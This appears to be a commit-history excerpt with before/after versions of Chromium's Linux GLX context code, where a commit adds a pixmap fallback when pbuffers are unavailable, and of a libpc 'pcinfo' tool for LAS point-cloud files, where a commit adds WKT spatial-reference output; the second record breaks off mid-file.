  Bool result = glXMakeCurrent(display, 0, 0);

  // glXMakeCurrent isn't supposed to fail when unsetting the context, unless
  // we have pending draws on an invalid window - which shouldn't be the case
  // here.
  DCHECK(result);
  if (context_) {
    glXDestroyContext(display, context_);
    context_ = NULL;
  }
}

bool ViewGLContext::MakeCurrent() {
  if (IsCurrent()) {
    return true;
  }

  Display* display = x11_util::GetXDisplay();
  if (glXMakeCurrent(display, window_, context_) != True) {
    glXDestroyContext(display, context_);
    context_ = 0;
    DLOG(ERROR) << "Couldn't make context current.";
    return false;
  }

  return true;
}

bool ViewGLContext::IsCurrent() {
  return glXGetCurrentDrawable() == window_ &&
      glXGetCurrentContext() == context_;
}

bool ViewGLContext::IsOffscreen() {
  return false;
}

void ViewGLContext::SwapBuffers() {
  Display* display = x11_util::GetXDisplay();
  glXSwapBuffers(display, window_);
}

gfx::Size ViewGLContext::GetSize() {
  XWindowAttributes attributes;
  Display* display = x11_util::GetXDisplay();
  XGetWindowAttributes(display, window_, &attributes);
  return gfx::Size(attributes.width, attributes.height);
}

void* ViewGLContext::GetHandle() {
  return context_;
}

GLContext* GLContext::CreateViewGLContext(gfx::PluginWindowHandle window,
                                          bool multisampled) {
  if (!InitializeOneOff())
    return NULL;

  if (OSMesaCreateContext) {
    // TODO(apatrick): Support OSMesa rendering to a window on Linux.
    NOTREACHED() << "OSMesa rendering to a window is not yet implemented.";
    return NULL;
  } else {
    scoped_ptr<ViewGLContext> context(new ViewGLContext(window));

    if (!context->Initialize(multisampled))
      return NULL;

    return context.release();
  }
}

bool PbufferGLContext::Initialize(void* shared_handle) {
  if (!glXChooseFBConfig ||
      !glXCreateNewContext ||
      !glXCreatePbuffer ||
      !glXDestroyPbuffer) {
    DLOG(ERROR) << "Pbuffer support not available.";
    return false;
  }

  static const int config_attributes[] = {
    GLX_DRAWABLE_TYPE,
    GLX_PBUFFER_BIT,
    GLX_RENDER_TYPE,
    GLX_RGBA_BIT,
    GLX_DOUBLEBUFFER,
    0,
    0
  };

  Display* display = x11_util::GetXDisplay();

  int nelements = 0;
  // TODO(kbr): figure out whether hardcoding screen to 0 is sufficient.
  scoped_ptr_malloc<GLXFBConfig, ScopedPtrXFree> config(
      glXChooseFBConfig(display, 0, config_attributes, &nelements));
  if (!config.get()) {
    DLOG(ERROR) << "glXChooseFBConfig failed.";
    return false;
  }
  if (!nelements) {
    DLOG(ERROR) << "glXChooseFBConfig returned 0 elements.";
    return false;
  }
  context_ = glXCreateNewContext(display,
                                 config.get()[0],
                                 GLX_RGBA_TYPE,
                                 static_cast<GLContextHandle>(shared_handle),
                                 True);
  if (!context_) {
    DLOG(ERROR) << "glXCreateNewContext failed.";
    return false;
  }
  static const int pbuffer_attributes[] = {
    GLX_PBUFFER_WIDTH,
    1,
    GLX_PBUFFER_HEIGHT,
    1,
    0
  };
  pbuffer_ = glXCreatePbuffer(display,
                              config.get()[0], pbuffer_attributes);
  if (!pbuffer_) {
    Destroy();
    DLOG(ERROR) << "glXCreatePbuffer failed.";
    return false;
  }

  if (!MakeCurrent()) {
    Destroy();
    DLOG(ERROR) << "Couldn't make context current for initialization.";
    return false;
  }

  if (!InitializeGLEW()) {
    Destroy();
    return false;
  }

  if (!InitializeCommon()) {
    Destroy();
    return false;
  }

  return true;
}

void PbufferGLContext::Destroy() {
  Display* display = x11_util::GetXDisplay();
  Bool result = glXMakeCurrent(display, 0, 0);
  // glXMakeCurrent isn't supposed to fail when unsetting the context, unless
  // we have pending draws on an invalid window - which shouldn't be the case
  // here.
  DCHECK(result);
  if (context_) {
    glXDestroyContext(display, context_);
    context_ = NULL;
  }

  if (pbuffer_) {
    glXDestroyPbuffer(display, pbuffer_);
    pbuffer_ = 0;
  }
}

bool PbufferGLContext::MakeCurrent() {
  if (IsCurrent()) {
    return true;
  }
  Display* display = x11_util::GetXDisplay();
  if (glXMakeCurrent(display, pbuffer_, context_) != True) {
    glXDestroyContext(display, context_);
    context_ = NULL;
    DLOG(ERROR) << "Couldn't make context current.";
    return false;
  }

  return true;
}

bool PbufferGLContext::IsCurrent() {
  return glXGetCurrentDrawable() == pbuffer_ &&
      glXGetCurrentContext() == context_;
}

bool PbufferGLContext::IsOffscreen() {
  return true;
}

void PbufferGLContext::SwapBuffers() {
  NOTREACHED() << "Attempted to call SwapBuffers on a pbuffer.";
}

gfx::Size PbufferGLContext::GetSize() {
  NOTREACHED() << "Should not be requesting size of this pbuffer.";
  return gfx::Size(1, 1);
}

void* PbufferGLContext::GetHandle() {
  return context_;
}

GLContext* GLContext::CreateOffscreenGLContext(void* shared_handle) {
  if (!InitializeOneOff())
    return NULL;

  if (OSMesaCreateContext) {
    scoped_ptr<OSMesaGLContext> context(new OSMesaGLContext);

    if (!context->Initialize(shared_handle))
      return NULL;

    return context.release();
  } else {
    scoped_ptr<PbufferGLContext> context(new PbufferGLContext);
    if (!context->Initialize(shared_handle))
      return NULL;

    return context.release();
  }
}

}  // namespace gfx
<commit_msg>linux: fallback to GLX Pixmaps when pbuffers aren't available<commit_after>// Copyright (c) 2010 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// This file implements the ViewGLContext and PbufferGLContext classes.

#include <dlfcn.h>
#include <GL/glew.h>
#include <GL/glxew.h>
#include <GL/glx.h>
#include <GL/osmew.h>
#include <X11/Xlib.h>
#include <X11/Xutil.h>

#include "app/x11_util.h"
#include "base/logging.h"
#include "base/scoped_ptr.h"
#include "app/gfx/gl/gl_context.h"
#include "app/gfx/gl/gl_context_osmesa.h"

namespace gfx {

typedef GLXContext GLContextHandle;
typedef GLXPbuffer PbufferHandle;

// This class is a wrapper around a GL context that renders directly to a
// window.
class ViewGLContext : public GLContext {
 public:
  explicit ViewGLContext(gfx::PluginWindowHandle window)
      : window_(window),
        context_(NULL) {
    DCHECK(window);
  }

  // Initializes the GL context.
  bool Initialize(bool multisampled);

  virtual void Destroy();
  virtual bool MakeCurrent();
  virtual bool IsCurrent();
  virtual bool IsOffscreen();
  virtual void SwapBuffers();
  virtual gfx::Size GetSize();
  virtual void* GetHandle();

 private:
  gfx::PluginWindowHandle window_;
  GLContextHandle context_;

  DISALLOW_COPY_AND_ASSIGN(ViewGLContext);
};

// This class is a wrapper around a GL context used for offscreen rendering.
// It is initially backed by a 1x1 pbuffer. Use it to create an FBO to do useful
// rendering.
class PbufferGLContext : public GLContext {
 public:
  explicit PbufferGLContext()
      : context_(NULL),
        pbuffer_(0) {
  }

  // Initializes the GL context.
  bool Initialize(void* shared_handle);

  virtual void Destroy();
  virtual bool MakeCurrent();
  virtual bool IsCurrent();
  virtual bool IsOffscreen();
  virtual void SwapBuffers();
  virtual gfx::Size GetSize();
  virtual void* GetHandle();

 private:
  GLContextHandle context_;
  PbufferHandle pbuffer_;

  DISALLOW_COPY_AND_ASSIGN(PbufferGLContext);
};

// Backup context if Pbuffers (GLX 1.3) aren't supported. May run slower...
class PixmapGLContext : public GLContext {
 public:
  explicit PixmapGLContext()
      : context_(NULL),
        pixmap_(0),
        glx_pixmap_(0) {
  }

  // Initializes the GL context.
  bool Initialize(void* shared_handle);

  virtual void Destroy();
  virtual bool MakeCurrent();
  virtual bool IsCurrent();
  virtual bool IsOffscreen();
  virtual void SwapBuffers();
  virtual gfx::Size GetSize();
  virtual void* GetHandle();

 private:
  GLContextHandle context_;
  Pixmap pixmap_;
  GLXPixmap glx_pixmap_;

  DISALLOW_COPY_AND_ASSIGN(PixmapGLContext);
};

// scoped_ptr functor for XFree(). Use as follows:
//   scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> foo(...);
// where "XVisualInfo" is any X type that is freed with XFree.
class ScopedPtrXFree {
 public:
  void operator()(void* x) const {
    ::XFree(x);
  }
};

// Some versions of NVIDIA's GL libGL.so include a broken version of
// dlopen/dlsym, and so linking it into chrome breaks it. So we dynamically
// load it, and use glew to dynamically resolve symbols.
// See http://code.google.com/p/chromium/issues/detail?id=16800

static bool InitializeOneOff() {
  static bool initialized = false;
  if (initialized)
    return true;

  osmewInit();
  if (!OSMesaCreateContext) {
    void* handle = dlopen("libGL.so.1", RTLD_LAZY | RTLD_GLOBAL);
    if (!handle) {
      LOG(ERROR) << "Could not find libGL.so.1";
      return false;
    }

    // Initializes context-independent parts of GLEW
    if (glxewInit() != GLEW_OK) {
      LOG(ERROR) << "glxewInit failed";
      return false;
    }
    // glxewContextInit really only needs a display connection to
    // complete, and we don't want to have to create an OpenGL context
    // just to get access to GLX 1.3 entry points to create pbuffers.
    // We therefore added a glxewContextInitWithDisplay entry point.
    Display* display = x11_util::GetXDisplay();
    if (glxewContextInitWithDisplay(display) != GLEW_OK) {
      LOG(ERROR) << "glxewContextInit failed";
      return false;
    }
  }

  initialized = true;
  return true;
}

bool ViewGLContext::Initialize(bool multisampled) {
  if (multisampled) {
    DLOG(WARNING) << "Multisampling not implemented.";
  }

  Display* display = x11_util::GetXDisplay();
  XWindowAttributes attributes;
  XGetWindowAttributes(display, window_, &attributes);
  XVisualInfo visual_info_template;
  visual_info_template.visualid = XVisualIDFromVisual(attributes.visual);
  int visual_info_count = 0;
  scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> visual_info_list(
      XGetVisualInfo(display, VisualIDMask,
                     &visual_info_template,
                     &visual_info_count));
  DCHECK(visual_info_list.get());
  DCHECK_GT(visual_info_count, 0);
  context_ = NULL;
  for (int i = 0; i < visual_info_count; ++i) {
    context_ = glXCreateContext(display, visual_info_list.get() + i, 0, True);
    if (context_)
      break;
  }
  if (!context_) {
    DLOG(ERROR) << "Couldn't create GL context.";
    return false;
  }

  if (!MakeCurrent()) {
    Destroy();
    DLOG(ERROR) << "Couldn't make context current for initialization.";
    return false;
  }

  if (!InitializeGLEW()) {
    Destroy();
    return false;
  }

  if (!InitializeCommon()) {
    Destroy();
    return false;
  }

  return true;
}

void ViewGLContext::Destroy() {
  Display* display = x11_util::GetXDisplay();
  Bool result = glXMakeCurrent(display, 0, 0);

  // glXMakeCurrent isn't supposed to fail when unsetting the context, unless
  // we have pending draws on an invalid window - which shouldn't be the case
  // here.
  DCHECK(result);
  if (context_) {
    glXDestroyContext(display, context_);
    context_ = NULL;
  }
}

bool ViewGLContext::MakeCurrent() {
  if (IsCurrent()) {
    return true;
  }

  Display* display = x11_util::GetXDisplay();
  if (glXMakeCurrent(display, window_, context_) != True) {
    glXDestroyContext(display, context_);
    context_ = 0;
    DLOG(ERROR) << "Couldn't make context current.";
    return false;
  }

  return true;
}

bool ViewGLContext::IsCurrent() {
  return glXGetCurrentDrawable() == window_ &&
      glXGetCurrentContext() == context_;
}

bool ViewGLContext::IsOffscreen() {
  return false;
}

void ViewGLContext::SwapBuffers() {
  Display* display = x11_util::GetXDisplay();
  glXSwapBuffers(display, window_);
}

gfx::Size ViewGLContext::GetSize() {
  XWindowAttributes attributes;
  Display* display = x11_util::GetXDisplay();
  XGetWindowAttributes(display, window_, &attributes);
  return gfx::Size(attributes.width, attributes.height);
}

void* ViewGLContext::GetHandle() {
  return context_;
}

GLContext* GLContext::CreateViewGLContext(gfx::PluginWindowHandle window,
                                          bool multisampled) {
  if (!InitializeOneOff())
    return NULL;

  if (OSMesaCreateContext) {
    // TODO(apatrick): Support OSMesa rendering to a window on Linux.
    NOTREACHED() << "OSMesa rendering to a window is not yet implemented.";
    return NULL;
  } else {
    scoped_ptr<ViewGLContext> context(new ViewGLContext(window));

    if (!context->Initialize(multisampled))
      return NULL;

    return context.release();
  }
}

bool PbufferGLContext::Initialize(void* shared_handle) {
  if (!glXChooseFBConfig ||
      !glXCreateNewContext ||
      !glXCreatePbuffer ||
      !glXDestroyPbuffer) {
    DLOG(ERROR) << "Pbuffer support not available.";
    return false;
  }

  static const int config_attributes[] = {
    GLX_DRAWABLE_TYPE,
    GLX_PBUFFER_BIT,
    GLX_RENDER_TYPE,
    GLX_RGBA_BIT,
    GLX_DOUBLEBUFFER,
    0,
    0
  };

  Display* display = x11_util::GetXDisplay();

  int nelements = 0;
  // TODO(kbr): figure out whether hardcoding screen to 0 is sufficient.
  scoped_ptr_malloc<GLXFBConfig, ScopedPtrXFree> config(
      glXChooseFBConfig(display, 0, config_attributes, &nelements));
  if (!config.get()) {
    DLOG(ERROR) << "glXChooseFBConfig failed.";
    return false;
  }
  if (!nelements) {
    DLOG(ERROR) << "glXChooseFBConfig returned 0 elements.";
    return false;
  }
  context_ = glXCreateNewContext(display,
                                 config.get()[0],
                                 GLX_RGBA_TYPE,
                                 static_cast<GLContextHandle>(shared_handle),
                                 True);
  if (!context_) {
    DLOG(ERROR) << "glXCreateNewContext failed.";
    return false;
  }
  static const int pbuffer_attributes[] = {
    GLX_PBUFFER_WIDTH,
    1,
    GLX_PBUFFER_HEIGHT,
    1,
    0
  };
  pbuffer_ = glXCreatePbuffer(display,
                              config.get()[0], pbuffer_attributes);
  if (!pbuffer_) {
    Destroy();
    DLOG(ERROR) << "glXCreatePbuffer failed.";
    return false;
  }

  if (!MakeCurrent()) {
    Destroy();
    DLOG(ERROR) << "Couldn't make context current for initialization.";
    return false;
  }

  if (!InitializeGLEW()) {
    Destroy();
    return false;
  }

  if (!InitializeCommon()) {
    Destroy();
    return false;
  }

  return true;
}

void PbufferGLContext::Destroy() {
  Display* display = x11_util::GetXDisplay();
  Bool result = glXMakeCurrent(display, 0, 0);
  // glXMakeCurrent isn't supposed to fail when unsetting the context, unless
  // we have pending draws on an invalid window - which shouldn't be the case
  // here.
  DCHECK(result);
  if (context_) {
    glXDestroyContext(display, context_);
    context_ = NULL;
  }

  if (pbuffer_) {
    glXDestroyPbuffer(display, pbuffer_);
    pbuffer_ = 0;
  }
}

bool PbufferGLContext::MakeCurrent() {
  if (IsCurrent()) {
    return true;
  }
  Display* display = x11_util::GetXDisplay();
  if (glXMakeCurrent(display, pbuffer_, context_) != True) {
    glXDestroyContext(display, context_);
    context_ = NULL;
    DLOG(ERROR) << "Couldn't make context current.";
    return false;
  }

  return true;
}

bool PbufferGLContext::IsCurrent() {
  return glXGetCurrentDrawable() == pbuffer_ &&
      glXGetCurrentContext() == context_;
}

bool PbufferGLContext::IsOffscreen() {
  return true;
}

void PbufferGLContext::SwapBuffers() {
  NOTREACHED() << "Attempted to call SwapBuffers on a pbuffer.";
}

gfx::Size PbufferGLContext::GetSize() {
  NOTREACHED() << "Should not be requesting size of this pbuffer.";
  return gfx::Size(1, 1);
}

void* PbufferGLContext::GetHandle() {
  return context_;
}

bool PixmapGLContext::Initialize(void* shared_handle) {
  DLOG(INFO) << "GL context: using pixmaps.";
  if (!glXChooseVisual ||
      !glXCreateGLXPixmap ||
      !glXDestroyGLXPixmap) {
    DLOG(ERROR) << "Pixmap support not available.";
    return false;
  }

  static int attributes[] = {
    GLX_RGBA,
    0
  };

  Display* display = x11_util::GetXDisplay();
  int screen = DefaultScreen(display);

  scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> visual_info(
      glXChooseVisual(display, screen, attributes));

  if (!visual_info.get()) {
    DLOG(ERROR) << "glXChooseVisual failed.";
    return false;
  }
  context_ = glXCreateContext(display, visual_info.get(),
                              static_cast<GLContextHandle>(shared_handle),
                              True);
  if (!context_) {
    DLOG(ERROR) << "glXCreateContext failed.";
    return false;
  }

  pixmap_ = XCreatePixmap(display, RootWindow(display, screen), 1, 1,
                          visual_info->depth);
  if (!pixmap_) {
    DLOG(ERROR) << "XCreatePixmap failed.";
    return false;
  }

  glx_pixmap_ = glXCreateGLXPixmap(display, visual_info.get(), pixmap_);
  if (!glx_pixmap_) {
    DLOG(ERROR) << "XCreatePixmap failed.";
    return false;
  }

  if (!MakeCurrent()) {
    Destroy();
    DLOG(ERROR) << "Couldn't make context current for initialization.";
    return false;
  }

  if (!InitializeGLEW()) {
    Destroy();
    return false;
  }

  if (!InitializeCommon()) {
    Destroy();
    return false;
  }

  return true;
}

void PixmapGLContext::Destroy() {
  Display* display = x11_util::GetXDisplay();
  Bool result = glXMakeCurrent(display, 0, 0);
  // glXMakeCurrent isn't supposed to fail when unsetting the context, unless
  // we have pending draws on an invalid window - which shouldn't be the case
  // here.
  DCHECK(result);
  if (context_) {
    glXDestroyContext(display, context_);
    context_ = NULL;
  }

  if (glx_pixmap_) {
    glXDestroyGLXPixmap(display, glx_pixmap_);
    glx_pixmap_ = 0;
  }

  if (pixmap_) {
    XFreePixmap(display, pixmap_);
    pixmap_ = 0;
  }
}

bool PixmapGLContext::MakeCurrent() {
  if (IsCurrent()) {
    return true;
  }
  Display* display = x11_util::GetXDisplay();
  if (glXMakeCurrent(display, glx_pixmap_, context_) != True) {
    glXDestroyContext(display, context_);
    context_ = NULL;
    DLOG(ERROR) << "Couldn't make context current.";
    return false;
  }

  return true;
}

bool PixmapGLContext::IsCurrent() {
  return glXGetCurrentDrawable() == glx_pixmap_ &&
      glXGetCurrentContext() == context_;
}

bool PixmapGLContext::IsOffscreen() {
  return true;
}

void PixmapGLContext::SwapBuffers() {
  NOTREACHED() << "Attempted to call SwapBuffers on a pixmap.";
}

gfx::Size PixmapGLContext::GetSize() {
  NOTREACHED() << "Should not be requesting size of this pixmap.";
  return gfx::Size(1, 1);
}

void* PixmapGLContext::GetHandle() {
  return context_;
}

GLContext* GLContext::CreateOffscreenGLContext(void* shared_handle) {
  if (!InitializeOneOff())
    return NULL;

  if (OSMesaCreateContext) {
    scoped_ptr<OSMesaGLContext> context(new OSMesaGLContext);

    if (!context->Initialize(shared_handle))
      return NULL;

    return context.release();
  } else {
    scoped_ptr<PbufferGLContext> context(new PbufferGLContext);
    if (context->Initialize(shared_handle))
      return context.release();

    scoped_ptr<PixmapGLContext> context_pixmap(new PixmapGLContext);
    if (context_pixmap->Initialize(shared_handle))
      return context_pixmap.release();

    return NULL;
  }
}

}  // namespace gfx
<|endoftext|>


<commit_before>/***************************************************************************
 *
 * Project: libLAS -- C/C++ read/write library for LAS LIDAR data
 * Purpose: LAS information with optional configuration
 * Author:  Howard Butler, hobu.inc at gmail.com
 ***************************************************************************
 * Copyright (c) 2010, Howard Butler, hobu.inc at gmail.com
 *
 * See LICENSE.txt in this source distribution for more information.
 **************************************************************************/

#include <libpc/drivers/las/Reader.hpp>
#include <libpc/drivers/liblas/Reader.hpp>
#include <libpc/Utils.hpp>
#ifdef LIBPC_HAVE_MRSID
#include <libpc/drivers/mrsid/Reader.hpp>
#endif

#include <iostream>

#include "Application.hpp"

using namespace libpc;
namespace po = boost::program_options;

class Application_pcinfo : public Application
{
public:
    Application_pcinfo(int argc, char* argv[]);
    int execute();
private:
    void addOptions();
    bool validateOptions();

    std::string m_inputFile;
};

Application_pcinfo::Application_pcinfo(int argc, char* argv[])
    : Application(argc, argv, "pcinfo")
{
}

bool Application_pcinfo::validateOptions()
{
    if (!hasOption("input"))
    {
        usageError("input file name required");
        return false;
    }

    return true;
}

void Application_pcinfo::addOptions()
{
    po::options_description* file_options = new po::options_description("file options");

    file_options->add_options()
        ("input,i", po::value<std::string>(&m_inputFile), "input file name")
        ("native", "use native LAS classes (not liblas)")
        ;

    addOptionSet(file_options);

    addPositionalOption("input", 1);

    return;
}

int Application_pcinfo::execute()
{
    if (!Utils::fileExists(m_inputFile))
    {
        runtimeError("file not found: " + m_inputFile);
        return 1;
    }

    libpc::Stage* reader = NULL;
    size_t ext = m_inputFile.find_last_of('.');
    if (ext != std::string::npos)
    {
        ext++;
        if (!m_inputFile.substr(ext).compare("las") ||
            !m_inputFile.substr(ext).compare("laz"))
        {
            if (hasOption("native"))
            {
                reader = new libpc::drivers::las::LasReader(m_inputFile);
            }
            else
            {
                reader = new libpc::drivers::liblas::LiblasReader(m_inputFile);
            }
        }
#ifdef LIBPC_HAVE_MRSID
        else if (!m_inputFile.substr(ext).compare("sid"))
        {
            reader = new libpc::drivers::mrsid::Reader(m_inputFile.c_str());
        }
#endif
    }
    else
    {
        std::cerr << "Cannot determine file type of " << m_inputFile
                  << "." << std::endl;
        return 1;
    }

    boost::uint64_t numPoints = reader->getNumPoints();

    delete reader;

    std::cout << numPoints << " points\n";

    return 0;
}

int main(int argc, char* argv[])
{
    Application_pcinfo app(argc, argv);
    return app.run();
}

#if 0

#include <liblas/liblas.hpp>
#include "laskernel.hpp"

#include <boost/cstdint.hpp>
#include <boost/foreach.hpp>

#include <locale>

using namespace liblas;
using namespace std;

liblas::Summary check_points(   liblas::Reader& reader,
                                std::vector<liblas::FilterPtr>& filters,
                                std::vector<liblas::TransformPtr>& transforms,
                                bool verbose)
{

    liblas::Summary summary;

    reader.SetFilters(filters);
    reader.SetTransforms(transforms);

    if (verbose)
    std::cout << "Scanning points:"
        << "\n - : "
        << std::endl;

    //
    // Translation of points cloud to features set
    //
    boost::uint32_t i = 0;
    boost::uint32_t const size = reader.GetHeader().GetPointRecordsCount();

    while (reader.ReadNextPoint())
    {
        liblas::Point const& p = reader.GetPoint();
        summary.AddPoint(p);
        if (verbose)
            term_progress(std::cout, (i + 1) / static_cast<double>(size));
        i++;

    }
    if (verbose)
        std::cout << std::endl;

    return summary;

}

void OutputHelp( std::ostream & oss, po::options_description const& options)
{
    oss << "--------------------------------------------------------------------\n";
    oss << "    lasinfo (" << GetFullVersion() << ")\n";
    oss << "--------------------------------------------------------------------\n";

    oss << options;

    oss <<"\nFor more information, see the full documentation for lasinfo at:\n";

    oss << " http://liblas.org/utilities/lasinfo.html\n";
    oss << "----------------------------------------------------------\n";

}

void PrintVLRs(std::ostream& os, liblas::Header const& header)
{
    if (!header.GetRecordsCount())
        return ;

    os << "---------------------------------------------------------" << std::endl;
    os << "  VLR Summary" << std::endl;
    os << "---------------------------------------------------------" << std::endl;

    typedef std::vector<VariableRecord>::size_type size_type;
    for(size_type i = 0; i < header.GetRecordsCount(); i++) {
        liblas::VariableRecord const& v = header.GetVLR(i);
        os << v;
    }

}

int main(int argc, char* argv[])
{

    std::string input;

    bool verbose = false;
    bool check = true;
    bool show_vlrs = true;
    bool show_schema = true;
    bool output_xml = false;
    bool output_json = false;
    bool show_point = false;
    bool use_locale = false;
    boost::uint32_t point = 0;

    std::vector<liblas::FilterPtr> filters;
    std::vector<liblas::TransformPtr> transforms;

    liblas::Header header;

    try {

        po::options_description file_options("lasinfo options");
        po::options_description filtering_options = GetFilteringOptions();
        po::options_description header_options = GetHeaderOptions();

        po::positional_options_description p;
        p.add("input", 1);
        p.add("output", 1);

        file_options.add_options()
            ("help,h", "produce help message")
            ("input,i", po::value< string >(), "input LAS file")

            ("verbose,v", po::value<bool>(&verbose)->zero_tokens(), "Verbose message output")
            ("no-vlrs", po::value<bool>(&show_vlrs)->zero_tokens()->implicit_value(false), "Don't show VLRs")
            ("no-schema", po::value<bool>(&show_schema)->zero_tokens()->implicit_value(false), "Don't show schema")
            ("no-check", po::value<bool>(&check)->zero_tokens()->implicit_value(false), "Don't scan points")
            ("xml", po::value<bool>(&output_xml)->zero_tokens()->implicit_value(true), "Output as XML")
            ("point,p", po::value<boost::uint32_t>(&point), "Display a point with a given id.  --point 44")

            ("locale", po::value<bool>(&use_locale)->zero_tokens()->implicit_value(true), "Use the environment's locale for output")

// --xml
// --json
// --restructured text output
        ;

        po::variables_map vm;
        po::options_description options;
        options.add(file_options).add(filtering_options);
        po::store(po::command_line_parser(argc, argv).
          options(options).positional(p).run(), vm);

        po::notify(vm);

        if (vm.count("help"))
        {
            OutputHelp(std::cout, options);
            return 1;
        }

        if (vm.count("point"))
        {
            show_point = true;
        }

        if (vm.count("input"))
        {
            input = vm["input"].as< string >();
            std::ifstream ifs;
            if (verbose)
                std::cout << "Opening " << input << " to fetch Header" << std::endl;
            if (!liblas::Open(ifs, input.c_str()))
            {
                std::cerr << "Cannot open " << input << " for read.  Exiting..." << std::endl;
                return 1;
            }
            liblas::ReaderFactory f;
            liblas::Reader reader = f.CreateWithStream(ifs);
            header = reader.GetHeader();
        } else {
            std::cerr << "Input LAS file not specified!\n";
            OutputHelp(std::cout, options);
            return 1;
        }

        filters = GetFilters(vm, verbose);

        std::ifstream ifs;
        if (!liblas::Open(ifs, input.c_str()))
        {
            std::cerr << "Cannot open " << input << " for read.  Exiting..." << std::endl;
            return false;
        }

        liblas::ReaderFactory f;
        liblas::Reader reader = f.CreateWithStream(ifs);
        if (show_point)
        {
            try
            {
                reader.ReadPointAt(point);
                liblas::Point const& p = reader.GetPoint();
                if (output_xml) {
                    liblas::property_tree::ptree tree;
                    tree = p.GetPTree();
                    liblas::property_tree::write_xml(std::cout, tree);
                    exit(0);
                }
                else
                {
                    if (use_locale)
                    {
                        std::locale l("");
                        std::cout.imbue(l);
                    }
                    std::cout <<  p << std::endl;
                    exit(0);
                }

            } catch (std::out_of_range const& e)
            {
                std::cerr << "Unable to read point at index " << point << ": " << e.what() << std::endl;
                exit(1);

            }

        }

        liblas::Summary summary;
        if (check)
            summary = check_points(  reader,
                            filters,
                            transforms,
                            verbose
                            );

        liblas::Header const& header = reader.GetHeader();

        // Add the header to the summary so we can get more detailed
        // info
        summary.SetHeader(header);

        if (output_xml && output_json) {
            std::cerr << "both JSON and XML output cannot be chosen";
            return 1;
        }
        if (output_xml) {
            liblas::property_tree::ptree tree;
            if (check)
                tree = summary.GetPTree();
            else
            {
                tree.add_child("summary.header", header.GetPTree());
            }

            liblas::property_tree::write_xml(std::cout, tree);
            return 0;
        }

        if (use_locale)
        {
            std::locale l("");
            std::cout.imbue(l);
        }

        std::cout << header << std::endl;
        if (show_vlrs)
            PrintVLRs(std::cout, header);

        if (show_schema)
            std::cout << header.GetSchema();

        if (check) {
            std::cout << summary << std::endl;

        }
    }
    catch(std::exception& e) {
        std::cerr << "error: " << e.what() << "\n";
        return 1;
    }
    catch(...) {
        std::cerr << "Exception of unknown type!\n";
    }

    return 0;

}

//las2las2 -i lt_srs_rt.las  -o foo.las -c 1,2 -b 2483590,366208,2484000,366612
#endif
<commit_msg>dump wkt info<commit_after>/***************************************************************************
 *
 * Project: libLAS -- C/C++ read/write library for LAS LIDAR data
 * Purpose: LAS information with optional configuration
 * Author:  Howard Butler, hobu.inc at gmail.com
 ***************************************************************************
 * Copyright (c) 2010, Howard Butler, hobu.inc at gmail.com
 *
 * See LICENSE.txt in this source distribution for more information.
 **************************************************************************/

#include <libpc/drivers/las/Reader.hpp>
#include <libpc/drivers/liblas/Reader.hpp>
#include <libpc/Utils.hpp>
#ifdef LIBPC_HAVE_MRSID
#include <libpc/drivers/mrsid/Reader.hpp>
#endif

#include <iostream>

#include "Application.hpp"

using namespace libpc;
namespace po = boost::program_options;

class Application_pcinfo : public Application
{
public:
    Application_pcinfo(int argc, char* argv[]);
    int execute();
private:
    void addOptions();
    bool validateOptions();

    std::string m_inputFile;
};

Application_pcinfo::Application_pcinfo(int argc, char* argv[])
    : Application(argc, argv, "pcinfo")
{
}

bool Application_pcinfo::validateOptions()
{
    if (!hasOption("input"))
    {
        usageError("input file name required");
        return false;
    }

    return true;
}

void Application_pcinfo::addOptions()
{
    po::options_description* file_options = new po::options_description("file options");

    file_options->add_options()
        ("input,i", po::value<std::string>(&m_inputFile), "input file name")
        ("native", "use native LAS classes (not liblas)")
        ;

    addOptionSet(file_options);

    addPositionalOption("input", 1);

    return;
}

int Application_pcinfo::execute()
{
    if (!Utils::fileExists(m_inputFile))
    {
        runtimeError("file not found: " + m_inputFile);
        return 1;
    }

    libpc::Stage* reader = NULL;
    size_t ext = m_inputFile.find_last_of('.');
    if (ext != std::string::npos)
    {
        ext++;
        if (!m_inputFile.substr(ext).compare("las") ||
            !m_inputFile.substr(ext).compare("laz"))
        {
            if (hasOption("native"))
            {
                reader = new libpc::drivers::las::LasReader(m_inputFile);
            }
            else
            {
                reader = new libpc::drivers::liblas::LiblasReader(m_inputFile);
            }
        }
#ifdef LIBPC_HAVE_MRSID
        else if (!m_inputFile.substr(ext).compare("sid"))
        {
            reader = new libpc::drivers::mrsid::Reader(m_inputFile.c_str());
        }
#endif
    }
    else
    {
        std::cerr << "Cannot determine file type of " << m_inputFile
                  << "." << std::endl;
        return 1;
    }

    const boost::uint64_t numPoints = reader->getNumPoints();
    const SpatialReference& srs = reader->getSpatialReference();

    std::cout << numPoints << " points\n";
    std::cout << "WKT: " << srs.getWKT() << "\n";

    delete reader;

    return 0;
}

int main(int argc, char* argv[])
{
    Application_pcinfo app(argc, argv);
    return app.run();
}

#if 0

#include <liblas/liblas.hpp>
#include "laskernel.hpp"

#include <boost/cstdint.hpp>
#include <boost/foreach.hpp>

#include <locale>

using namespace liblas;
using namespace std;

liblas::Summary check_points(   liblas::Reader& reader,
                                std::vector<liblas::FilterPtr>& filters,
                                std::vector<liblas::TransformPtr>& transforms,
                                bool verbose)
{

    liblas::Summary summary;

    reader.SetFilters(filters);
    reader.SetTransforms(transforms);

    if (verbose)
    std::cout << "Scanning points:"
        << "\n - : "
        << std::endl;

    //
    // Translation of points cloud to features set
    //
    boost::uint32_t i = 0;
    boost::uint32_t const size = reader.GetHeader().GetPointRecordsCount();

    while (reader.ReadNextPoint())
    {
        liblas::Point const& p = reader.GetPoint();
        summary.AddPoint(p);
        if (verbose)
            term_progress(std::cout, (i + 1) / static_cast<double>(size));
        i++;

    }
    if (verbose)
        std::cout << std::endl;

    return summary;

}

void OutputHelp( std::ostream & oss, po::options_description const& options)
{
    oss << "--------------------------------------------------------------------\n";
    oss << "    lasinfo (" << GetFullVersion() << ")\n";
    oss << "--------------------------------------------------------------------\n";

    oss << options;

    oss <<"\nFor more information, see the full documentation for lasinfo at:\n";

    oss << " http://liblas.org/utilities/lasinfo.html\n";
    oss << "----------------------------------------------------------\n";

}

void PrintVLRs(std::ostream& os, liblas::Header const& header)
{
    if (!header.GetRecordsCount())
        return ;

    os << "---------------------------------------------------------" << std::endl;
    os << "  VLR Summary" << std::endl;
